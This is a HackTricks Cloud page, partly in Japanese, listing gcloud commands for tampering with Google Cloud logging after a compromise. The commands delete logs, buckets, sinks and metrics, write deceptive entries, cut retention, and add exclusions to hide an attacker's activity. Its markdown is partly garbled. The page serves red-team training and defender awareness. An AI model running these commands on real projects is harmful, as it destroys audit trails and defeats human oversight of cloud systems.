GCP - Logging Post Exploitation

Tip

AWSハッキングを学び、実践する：HackTricks Training AWS Red Team Expert (ARTE)
GCPハッキングを学び、実践する：HackTricks Training GCP Red Team Expert (GRTE) Azureハッキングを学び、実践する：HackTricks Training Azure Red Team Expert (AzRTE)

HackTricksをサポートする

基本情報

For more information check:

GCP - Logging Enum

For other ways to disrupt monitoring check:

GCP - Monitoring Post Exploitation

デフォルトのロギング

デフォルトでは、読み取り操作だけでは検知されません。詳細は Logging Enum セクションを参照してください。

Excepted Principal を追加

In https://console.cloud.google.com/iam-admin/audit/allservices and https://console.cloud.google.com/iam-admin/audit is possible to add principals to not generate logs. An attacker could abuse this to prevent being caught.

ログの読み取り - logging.logEntries.list

ログエントリの読み取り ```bash # Read logs gcloud logging read "logName=projects/your-project-id/logs/log-id" --limit=10 --format=json

Everything from a timestamp

gcloud logging read “timestamp >= "2023-01-01T00:00:00Z"” –limit=10 –format=json

Use these options to indicate a different bucket or view to use: –bucket=_Required –view=_Default

</details>

### `logging.logs.delete`

<details>

<summary>ログエントリを削除</summary>
```bash
# Delete all entries from a log in the _Default log bucket - logging.logs.delete
gcloud logging logs delete <log-name>

ログを書き込む - logging.logEntries.create

ログエントリを作成 ```bash # Write a log entry to try to disrupt some system gcloud logging write LOG_NAME "A deceptive log entry" --severity=ERROR ```

logging.buckets.update

ログ バケットの保持期間を更新 ```bash # Set retention period to 1 day (_Required has a fixed one of 400days)

gcloud logging buckets update bucketlog –location= –description=“New description” –retention-days=1

</details>

### `logging.buckets.delete`

<details>

<summary>ログバケットを削除</summary>
```bash
# Delete log bucket
gcloud logging buckets delete BUCKET_NAME --location=<location>

logging.links.delete

ログリンクを削除 ```bash # Delete link gcloud logging links delete --bucket --location ```

logging.views.delete

ログビューを削除 ```bash # Delete a logging view to remove access to anyone using it gcloud logging views delete --bucket= --location=global ```

logging.views.update

logging view を更新してデータを隠す ```bash # Update a logging view to hide data gcloud logging views update --log-filter="resource.type=gce_instance" --bucket= --location=global --description="New description for the log view" ```

logging.logMetrics.update

ログベースのメトリクスを更新 ```bash # Update log based metrics - logging.logMetrics.update gcloud logging metrics update --description="Changed metric description" --log-filter="severity>CRITICAL" --project=PROJECT_ID ```

logging.logMetrics.delete

ログベースのメトリクスを削除する ```bash # Delete log based metrics - logging.logMetrics.delete gcloud logging metrics delete ```

logging.sinks.delete

ログシンクを削除 ```bash # Delete sink - logging.sinks.delete gcloud logging sinks delete ```

logging.sinks.update

ログシンクの更新／妨害 ```bash # Disable sink - logging.sinks.update gcloud logging sinks update --disabled

Createa filter to exclude attackers logs - logging.sinks.update

gcloud logging sinks update SINK_NAME –add-exclusion=“name=exclude-info-logs,filter=severity<INFO”

Change where the sink is storing the data - logging.sinks.update

gcloud logging sinks update new-destination

Change the service account to one withuot permissions to write in the destination - logging.sinks.update

gcloud logging sinks update SINK_NAME –custom-writer-identity=attacker-service-account-email –project=PROJECT_ID

Remove explusions to try to overload with logs - logging.sinks.update

gcloud logging sinks update SINK_NAME –clear-exclusions

If the sink exports to BigQuery, an attacker might enable or disable the use of partitioned tables, potentially leading to inefficient querying and higher costs. - logging.sinks.update

gcloud logging sinks update SINK_NAME –use-partitioned-tables gcloud logging sinks update SINK_NAME –no-use-partitioned-tables

</details>

> [!TIP]
> AWSハッキングを学び、実践する：<img src="../../../../../images/arte.png" alt="" style="width:auto;height:24px;vertical-align:middle;">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="../../../../../images/arte.png" alt="" style="width:auto;height:24px;vertical-align:middle;">\
> GCPハッキングを学び、実践する：<img src="../../../../../images/grte.png" alt="" style="width:auto;height:24px;vertical-align:middle;">[**HackTricks Training GCP Red Team Expert (GRTE)**](https://training.hacktricks.xyz/courses/grte)<img src="../../../../../images/grte.png" alt="" style="width:auto;height:24px;vertical-align:middle;">
> Azureハッキングを学び、実践する：<img src="../../../../../images/azrte.png" alt="" style="width:auto;height:24px;vertical-align:middle;">[**HackTricks Training Azure Red Team Expert (AzRTE)**](https://training.hacktricks.xyz/courses/azrte)<img src="../../../../../images/azrte.png" alt="" style="width:auto;height:24px;vertical-align:middle;">
>
> <details>
>
> <summary>HackTricksをサポートする</summary>
>
> - [**サブスクリプションプラン**](https://github.com/sponsors/carlospolop)を確認してください！
> - **💬 [**Discordグループ**](https://discord.gg/hRep4RUj7f)または[**テレグラムグループ**](https://t.me/peass)に参加するか、**Twitter** 🐦 [**@hacktricks_live**](https://twitter.com/hacktricks_live)**をフォローしてください。**
> - **[**HackTricks**](https://github.com/carlospolop/hacktricks)および[**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud)のGitHubリポジトリにPRを提出してハッキングトリックを共有してください。**
>
> </details>